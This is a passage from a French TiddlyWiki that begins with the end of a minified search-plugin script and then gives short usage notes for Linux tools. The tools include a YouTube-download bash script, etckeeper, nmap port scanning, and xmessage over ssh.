'!"+"', '%', '#' or 'fieldname:' prefix before the word/text to find).</font></html>|\n|!|Number of items "+"on search result page: <<option txtItemsPerPage>>|\n|!|Number of items on search result page with pre"+"view text: <<option txtItemsPerPageWithPreview>>|\n";config.shadowTiddlers["YourSearchStyleSheet"]="/***\n!~YourSearchResult Stylesheet\n***/\n/*{{{*/\n.yourSearchResult {\n\tposition: absolute;\n\twidth: 800"+"px;\n\n\tpadding: 0.2em;\n\tlist-style: none;\n\tmargin: 0;\n\n\tbackground: #ffd;\n\tborder: 1px solid DarkGra"+"y;\n}\n\n/*}}}*/\n/***\n!!Summary Section\n***/\n/*{{{*/\n.yourSearchResult .summary {\n\tborder-bottom-width:"+" thin;\n\tborder-bottom-style: solid;\n\tborder-bottom-color: #999999;\n\tpadding-bottom: 4px;\n}\n\n.yourSea"+"rchRange, .yourSearchCount, .yourSearchQuery   {\n\tfont-weight: bold;\n}\n\n.yourSearchResult .summary ."+"button {\n\tfont-size: 10px;\n\n\tpadding-left: 0.3em;\n\tpadding-right: 0.3em;\n}\n\n.yourSearchResult .summa"+"ry .chkBoxLabel {\n\tfont-size: 10px;\n\n\tpadding-right: 0.3em;\n}\n\n/*}}}*/\n/***\n!!Items Area\n***/\n/*{{{*"+"/\n.yourSearchResult .marked {\n\tbackground: none;\n\tfont-weight: bold;\n}\n\n.yourSearchItem {\n\tmargin-to"+"p: 2px;\n}\n\n.yourSearchNumber {\n\tcolor: #808080;\n}\n\n\n.yourSearchTags {\n\tcolor: #008000;\n}\n\n.yourSearc"+"hText {\n\tcolor: #808080;\n\tmargin-bottom: 6px;\n}\n\n/*}}}*/\n/***\n!!Footer\n***/\n/*{{{*/\n.yourSearchFoote"+"r {\n\tmargin-top: 8px;\n\tborder-top-width: thin;\n\tborder-top-style: solid;\n\tborder-top-color: #999999;"+"\n}\n\n.yourSearchFooter a:hover{\n\tbackground: none;\n\tcolor: none;\n}\n/*}}}*/\n/***\n!!Navigation Bar\n***/"+"\n/*{{{*/\n.yourSearchNaviBar a {\n\tfont-size: 16px;\n\tmargin-left: 4px;\n\tmargin-right: 4px;\n\tcolor: bla"+"ck;\n\ttext-decoration: underline;\n}\n\n.yourSearchNaviBar a:hover {\n\tbackground-color: none;\n}\n\n.yourSe"+"archNaviBar .prev {\n\tfont-weight: bold;\n\tcolor: blue;\n}\n\n.yourSearchNaviBar .currentPage {\n\tcolor: #"+"FF0000;\n\tfont-weight: bold;\n\ttext-decoration: none;\n}\n\n.yourSearchNaviBar .next {\n\tfont-weight: bold"+";\n\tcolor: blue;\n}\n/*}}}*/\n";config.shadowTiddlers["YourSearchResultTemplate"]="<!--\n{{{\n-->\n<span macro=\"yourSearch if found\">\n<!-- The Summary Header ============================"+"================ -->\n<table class=\"summary\" border=\"0\" width=\"100%\" cellspacing=\"0\" cellpadding=\"0\">"+"<tbody>\n  <tr>\n\t<td align=\"left\">\n\t\tYourSearch Result <span class=\"yourSearchRange\" macro=\"yourSearc"+"h itemRange\"></span>\n\t\t&nbsp;of&nbsp;<span class=\"yourSearchCount\" macro=\"yourSearch count\"></span>\n"+"\t\tfor&nbsp;<span class=\"yourSearchQuery\" macro=\"yourSearch query\"></span>\n\t</td>\n\t<td class=\"yourSea"+"rchButtons\" align=\"right\">\n\t\t<span macro=\"yourSearch chkPreviewText\"></span><span class=\"chkBoxLabel"+"\">preview text</span>\n\t\t<span macro=\"yourSearch newTiddlerButton\"></span>\n\t\t<span macro=\"yourSearch openAllButton\"></span>\n\t\t<span macro=\"yourSearch lin"+"kButton 'YourSearch Options' options 'Configure YourSearch'\"></span>\n\t\t<span macro=\"yourSearch linkB"+"utton 'YourSearch Help' help 'Get help how to use YourSearch'\"></span>\n\t\t<span macro=\"yourSearch clo"+"seButton\"></span>\n\t</td>\n  </tr>\n</tbody></table>\n\n<!-- The List of Found Tiddlers ================="+"=========================== -->\n<div id=\"yourSearchResultItems\" itemsPerPage=\"25\" itemsPerPageWithPr"+"eview=\"10\"></div>\n\n<!-- The Footer (with the Navigation) ==========================================="+"= -->\n<table class=\"yourSearchFooter\" border=\"0\" width=\"100%\" cellspacing=\"0\" cellpadding=\"0\"><tbody"+">\n  <tr>\n\t<td align=\"left\">\n\t\tResult page: <span class=\"yourSearchNaviBar\" macro=\"yourSearch naviBar"+"\"></span>\n\t</td>\n\t<td align=\"right\"><span macro=\"yourSearch version\"></span>, <span macro=\"yourSearc"+"h copyright\"></span>\n\t</td>\n  </tr>\n</tbody></table>\n<!-- end of the 'tiddlers found' case ========="+"================================== -->\n</span>\n\n\n<!-- The \"No tiddlers found\" case ================="+"========================== -->\n<span macro=\"yourSearch if not found\">\n<table class=\"summary\" border="+"\"0\" width=\"100%\" cellspacing=\"0\" cellpadding=\"0\"><tbody>\n  <tr>\n\t<td align=\"left\">\n\t\tYourSearch Resu"+"lt: No tiddlers found for <span class=\"yourSearchQuery\" macro=\"yourSearch query\"></span>.\n\t</td>\n\t<t"+"d class=\"yourSearchButtons\" align=\"right\">\n\t\t<span macro=\"yourSearch newTiddlerButton\"></span>\n\t\t<span macro=\"yourSearch linkButton 'YourSearch Options'"+" options 'Configure YourSearch'\"></span>\n\t\t<span macro=\"yourSearch linkButton 'YourSearch Help' help"+" 'Get help how to use YourSearch'\"></span>\n\t\t<span macro=\"yourSearch closeButton\"></span>\n\t</td>\n  <"+"/tr>\n</tbody></table>\n</span>\n\n\n<!--\n}}}\n-->\n";config.shadowTiddlers["YourSearchItemTemplate"]="<!--\n{{{\n-->\n<span class='yourSearchNumber' macro='foundTiddler number'></span>\n<span class='yourSea"+"rchTitle' macro='foundTiddler title'/></span>&nbsp;-&nbsp;\n<span class='yourSearchTags' macro='found"+"Tiddler field tags 50'/></span>\n<span macro=\"yourSearch if previewText\"><div class='yourSearchText' macro='fo"+"undTiddler field text 250'/></div></span>\n<!--\n}}}\n-->";config.shadowTiddlers["YourSearch"]="<<tiddler [[YourSearch Help]]>>";config.shadowTiddlers["YourSearch Result"]="The popup-like window displaying the result of a YourSearch query.";config.macros.search.handler=_109;var _195=function(){if(config.macros.search.handler!=_109){alert("Message from YourSearchPlugin:\n\n\nAnother plugin has disabled the 'Your Search' features.\n\n\nYou may "+"disable the other plugin or change the load order of \nthe plugins (by changing the names of the tidd"+"lers)\nto enable the 'Your Search' features.");}};setTimeout(_195,5000);abego.YourSearch.getStandardRankFunction=function(){return _bb;};abego.YourSearch.getRankFunction=function(){return abego.YourSearch.getStandardRankFunction();};abego.YourSearch.getCurrentTiddler=function(){return _f4;};abego.YourSearch.closeResult=function(){_e3();};abego.YourSearch.getFoundTiddlers=function(){return _b1;};abego.YourSearch.getQuery=function(){return _b2;};abego.YourSearch.onShowResult=function(_196){highlightHack=_b2?_b2.getMarkRegExp():null;if(!_196){_f5.setItems(_b5());}if(!_dd){_dd=createTiddlyElement(document.body,"div",_da,"yourSearchResult");}else{if(_dd.parentNode!=document.body){document.body.appendChild(_dd);}}_fe();highlightHack=null;};})();}
//%/
But: ''Permet de récupérer une vidéo youtube à partir de son URL''
Mots clef: Internet, vidéo
<<<
''Utilisation: ''{{{$ youtube [-d DEST] [-n NAME] [-f] URL}}}

''Script: '' 
{{{
#!/bin/bash

#*************************************************************************#
#
# Permet de recuperer une video sur youtube.com et de la convertir
# en fichier avi. Prend l'URL de la vidéo Youtube en paramètre
#
# Options: -d DEST répertoire de destination (avec / final), par défaut 
#             /home/user/Desktop/
#          -n NAME nom du fichier de sortie, par défaut videoYoutube   
#          -f n'encode pas la vidéo et conserve le format .flv
#
#*****************************@Bartux2007*********************************#

printusage()
{
  echo "Usage: youtube [-d DEST] [-n NAME] [-f] URL"
  exit 1;
}

if [ $# -lt 1 ]; then
  printusage;
fi

USER=`whoami`
NAME="videoYoutube"
DEST="/home/"$USER"/Desktop/"
ENCODE=1

while [ $# != 0 ]; do
  ARG=$1
  case "$ARG" in
    -d)
      DEST=$2
      shift
    ;;
     -n)
      NAME=$2
      shift
    ;;   
      -f)
      ENCODE=0
    ;;  
    -*)
      printusage;
    ;;
    *)
      URL=$1
      shift
    ;;
  esac
  shift
done

DEST=$DEST$NAME

wget -O /tmp/page.tmp $URL
ADD=`cat /tmp/page.tmp | grep fullscreenUrl | sed 's/^[\t ]*//'| sed 's/ //g'`
ADD=`echo ${ADD#*\?}`
ADD=`echo ${ADD%\'*}`
ADD="http://www.youtube.com/get_video?"$ADD
wget -O /tmp/videoYoutube.flv $ADD

if [ $ENCODE = "1" ]; then 
	DEST=$DEST.avi
	ffmpeg -y -i /tmp/videoYoutube.flv $DEST
	rm /tmp/videoYoutube.flv 
else
	DEST=$DEST.flv
	cp /tmp/videoYoutube.flv $DEST
fi
}}}

 
''Nom de l'application'': ''@@color(red): Yudit @@''
Mots clef: encodage, conversion, fichier
<<<
''Description: ''Yudit permet la conversion de fichiers en utilisant des encodages différents.

''Installation: ''[[via apt|apt://yudit]]

''Utilisation: ''Par exemple, si dans un fichier en utf-8 on a des é et à à la place des é et à:
{{{
$ uniconv -in monFichier.txt -encode iso-8859-1 
}}}

''Notes: ''
#uniconv est donc inclus dans le paquet yudit. Plus d'info avec {{{$ man yudit}}}
#voir aussi le programme IConv, ReCode et ConvMV.
''Nom de l'application'': ''@@color(red): Zattoo @@''
Mots clef: multimedia, tv, tele, live
Liens: [[site officiel| https://zattoo.com/ ]]
<<<
''Description: ''Zattoo est un logiciel multiplatforme permettant de visionner en direct une majorité des télévisions francophones et allémaniques.

''Installation: ''Le fichier .deb peut être télecharger sur le [[site officiel| https://zattoo.com/]].
Nécessite de plus libgtkglext1 et keychaine (pour mémoriser le mot de passe): {{{# aptitiude install libgtkglext1 keychaine}}}

''Utilisation'':
Pour lancer le programme:
{{{
$ zattoo_player
}}}
''Notes: '' voir aussi PeerTV
''Nom de l'application'': ''@@color(red): Zgv @@''
Mots clef: images, ligne de commande
<<<
''Description: ''Petite application permettant de visualiser des images sans qu'une interface graphique soit lancée, c'est-à-dire en ligne de commande pure.

''Installation: ''[[via apt|apt://zgv]]

''Utilisation: ''en mode super-utilisateur
{{{
# sudo zgv monImage.jpg
}}}

''Notes: ''voir aussi ASCIIVideoEtImage.
''Nom de l'application'': ''@@color(red): amule-daemon @@''
Mots clef: ~P2P, Internet, emule
<<<
''Description: ''amuled est un daemon permettant de lancer l'excellent logiciel de p2p amule sans interface graphique. Idéal pour économiser des ressources, pour rendre amule discret ou quand on a accès qu'à la console.

''Installation: ''{{{# aptitude install amule-daemon}}}

''Notes: ''lancement avec {{{$ amuled}}}
''Nom de l'application'': ''@@color(red): aaphoto @@''
Mots clef: image, correction
Liens: [[site officiel|http://log69.com/aaphoto_en.html ]]
<<<
''Description: ''aaphoto est un petit logiciel en ligne de commande permettant d'améliorer rapidement la qualité des images.

''Installation: ''Télécharger sur le site de l'auteur:
{{{
$ wget http://log69.com/downloads/aaphoto_linux.tar.gz
$ tar xvf aaphoto_linux.tar.gz
}}}
Placer ensuite le fichier dans, par exemple, //~/bin// ou ///usr/local/bin//

''Utilisation: ''{{{$ aaphoto monImage.jpg}}}

''Notes: ''Pour une utilisation avec un script nautilus, voir [[ici|http://www.atlas95.com/blog/2008/02/08/rendre-belle-une-photo-laide-facilement/]].
''Nom de l'application'': ''@@color(red): etckeeper @@''
Mots clef: versionnage, dossier etc, configuration
Liens: [[site officiel| http://kitenet.net/~joey/code/etckeeper/ ]], [[Tuto en anglais|http://daniel.hahler.de/2008/04/23/track_changes_to_etc_configuration_files]]
<<<
''Description: '' etckeeper est une collection d'outils permettant d'archiver et de versioner le contenu du dossier ///etc// contenant les fichiers de configuration du système. L'utilité de cet outil est donc de pouvoir revenir à un état de configuration précédent en cas de problème.

''Installation: ''{{{# aptitude install etckeeper}}} ('dès Hardy)

''Utilisation: ''
Pour avoir le tuto original en anglais: {{{$ zless /usr/share/doc/etckeeper/README.gz}}}
Initialisation de etckeeper (création du répertoire ///etc/.git//):
{{{
# etckeeper init
}}}
Pour vérifier le contenu:
{{{
$ git status
}}}
Pour effectuer le premier versionnage:
{{{
# cd /etc
# git commit -m "initial checkin"
# git gc # permet de compresser afin d'économiser de l'espace disque
}}}
Ensuite il est possible de versionner régulièrement, par exemple après un changement de mot de passe:
{{{
# passwd un_utilisateur
# git status
# git commit -a -m "mot de passe changé"
}}}
Afin d'ignorer certains changerments
{{{
# git rm --cached printcap #modifié par CUPS
# echo printcap >> .gitignore
# git commit -a -m "ne pas suivre printcap"
}}}
Pour revenir à un état précédant
{{{
# git checkout mon_état_précédant
# etckeeper init
}}}
''Nom de l'application'': ''@@color(red): Gchemtable @@''
Mots clef: chimie
<<<
''Description: ''Gchemtable est un petit logiciel permettant d'accéder à un tableau de Mendeleiev des éléments chimiques.

''Installation: ''[[via apt|apt://gcu-bin]] (gchemtable fait partie du paquet gcu-bin)

''Note: ''Le paquet gcu-bin contient aussi les outils gchem3d-viewer  gchemcalc
''Nom de l'application'': ''@@color(red): Gmusicbrowser @@''
Mots clef: musique, lecteur, audio, gestion, collection, mp3, ogg, player
Liens: [[site officiel| http://squentin.free.fr/gmusicbrowser/gmusicbrowser.html ]]
<<<
''Description: ''Gmusicbrowser est un jukebox qui permet de lire et de gérer sa collection musicale. Doté de nombreux plugins, il permet, par exemple, de récupérer les pochettes sur Internet. Il permet aussi de "tagger" les fichiers musicaux.

''Installation: ''[[via apt|apt://gmusicbrowser]]
''Nom de l'application'': ''@@color(red): Gpodder @@''
Mots clef: podcast, agrégateur, baladodiffusion
<<<
''Description: ''Gpodder est un agrégateur de podcast pour Gnome: simple et efficace.

''Installation: ''[[via apt|apt://gpodder]]
''Nom de l'application'': ''@@color(red): Gscan2pdf @@''
Mots clef: scan, image, pdf
Liens: [[site officiel| http://gscan2pdf.sourceforge.net/ ]]
<<<
''Description: ''gscan2pdf est une interface graphique permettant de réaliser des fichiers pdf à partir de plusieurs pages scannées.

''Installation: ''[[via apt|apt://gscan2pdf]]

''Utilisation: ''interface graphique très conviviale.

''Note: ''Permet le réglage de la résolution.
''Nom de l'application'': ''@@color(red): htop @@''
Mots clef: PRutilitaire
<<<
''Description: ''une version amélioée et colorée du fameux //top//

''Installation: ''[[via apt|apt://htop]]
''Nom de l'application'': ''@@color(red): Igal @@''
Mots clef: galerie, photo, web
<<<
''Description: ''Igal est un logiciel qui permet de générer rapidement et automatiquement une galerie d'images à partir d'un dossier contenant les images choisies.

''Installation: ''[[via apt|apt://igal]]

''Utilisation: ''En ligne de commande, tout simplement, dans le dossier contenant les images:
{{{
$ igal
}}}
''Notes: ''voir aussi [[llgal|http://home.gna.org/llgal/]] basé sur igal mais avec plus d'options.
''Nom de l'application'': ''@@color(red): lshw @@''
Mots clef: système, hardware
<<<
''Description: ''lshw (list hardware) est un petit utilitaire en ligne de commandes qui liste l'ensemble du hardware présent dans l'ordi.

''Installation: ''Présent de base en général, mais pour la version graphique: {{{# aptitude install lshw-gtk}}}

''Utilisation: ''La version texte n'est pas toujours très convivial, c'est pour cela qu'il y a un frontend lshw-gtk.

''Notes: ''Voir aussi CommandesInformationsMateriel, HardInfo et DiskType
''Nom de l'application'': ''@@color(red): Nmap @@''
Mots clef: réseau
Liens: [[source| http://www.enterprisenetworkingplanet.com/netsecur/article.php/3716606 ]]
<<<
''Description: ''Nmap est un scanner de ports open source.

''Installation: ''Normalement déjà installé

''Utilisation: ''
*Scanner toutes les machines du réseau local:
{{{
$ nmap -sP 192.168.1.*
}}}
*Scanner les ports d'une machine:
{{{
$ nmap -P0 192.168.1.150
}}}
*Scanner tous les ports entre 1 et 65535: 
{{{
$ nmap -p 1-65535 192.168.1.150
}}}
*Scanner seulement le port 139 d'un interval d'adresse ip:
{{{
$ map -p 139 192.168.1.1-20 
}}}
*Scanner les ports UDP:
{{{
$  Nmap -sU 192.168.1.150
}}}
*Détecter l'OS de la machine:
{{{
$ nmap -O 192.168.1.5
}}}
''Notes: ''
#Il existe également des frontends graphique efficace comme NMAPFE et UMIT
#Pour simplement savoir si une machine est up: {{{$ fping 192.168.1.165}}}
''Nom de l'application'': ''@@color(red): sl @@''
Mots clef: futilitaire
<<<
''Description: ''au cas où l'on taperait {{{$ sl}}} au lieu de {{{$ ls}}} on se voit offrir un petit voyage.

''Installation: ''{{{# aptitude install sl}}}

''Utilisation: ''voir {{{$ man sl}}}
''Nom de l'application'': ''@@color(red): Xmessage @@''
Mots clef: messages
<<<
''Description: ''Xmessage permet d'afficher, à partir de la ligne de commande une petite boite contenant un message.

''Installation: ''déjà installer normallement, sinon via aptitude.

''Utilisation: ''{{{$ xmessage voila le message que je veux afficher}}}

''Notes: ''
Une utilisation pratique de xmessage via ssh:
{{{
$ ssh user@laMachine
}}}
{{{
$ export DISPLAY=:0.0
}}}
{{{
$ xmessage voila le message que je veux afficher sur la session X de l'utilisateur user sur l'ordi laMachine
}}}
Et pour poser une question et voir la réponse:
{{{
$ xmessage -center "Esq tu bz ?" -buttons "oui","oh oui","qan tu veu" -print
}}}
Quelques options: -buttons -default -file -print -center -nearmouse -timeout
Voir [[ici|http://linuxcommand.org/man_pages/xmessage1.html]] pour la page man.